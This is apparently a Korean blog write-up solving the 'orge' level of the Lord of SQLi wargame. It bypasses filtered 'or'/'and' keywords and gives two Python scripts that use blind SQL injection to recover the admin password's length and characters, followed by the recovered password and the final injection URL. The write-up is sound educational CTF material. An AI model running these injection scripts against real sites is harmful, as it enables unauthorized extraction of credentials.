Lord of SQLi | WebHacking.kr

Lord if SQLi(#7 orge)

Box Maker 2022. 12. 30. 14:48

7번문제의 php코드

1. 문제풀이

 

1) 코드 해석

  • 이번문제는 바로 직전에 풀었던 "darkelf"문제와 blind SQLi문제였던"orc"문제의 조합 버전이라고 생각하면 된다
  • blind SQLi문제지만 or,and 문자가 필터링이 되어 공격쿼리를 짤때 이부분만 우회하여 자동화도구에 대입시키면된다

 

2) 문제 풀이

방법은 다음과 같다

  • 먼저 pw의 길이를 자동화도구를 사용하여 알아낸다
  • 그 다음 실제 pw를 자동화도구를 사용하여 알아낸 뒤 공격을 시도한다

 

2-1 비밀번호의 길이를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id='admin' && length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {"pw": value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #id 길이 반환
if __name__ == '__main__':
    print("pw의 길이는 : "+str(find_pw_len()))

 

2-2 실제 비밀번호를 알아내는 python 코드

import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' #url 주소를 입력
cookies = {'PHPSESSID': ''} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = "' || id = 'admin' && length(pw) = {}   -- '".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'pw': value} # pw에 Payload 코드 삽입
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(0,127): #ascii a~z까지의 값 반복
            value = "' || ascii(substring(pw,{},1)) = {} -- '".format(len,ascii)  # 반복하면서 pw을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'pw': value}  # pw에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  # 
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

비밀번호의 길이를 알아내는 공격화면
실제 비밀번호를 알아내는 공격화면

  • 자동화도구를 통해 실제 비밀번호가 7b751aec 인것을 알아낼 수 있다
  • 공격 시 삽입 구문: pw=' || id=admin && pw=7b751aec
  • 공격 후 구문: https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=admin%20&&%20pw=7b751aec
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_orge where id='guest' and pw='7b751aec'

 

공격 성공화면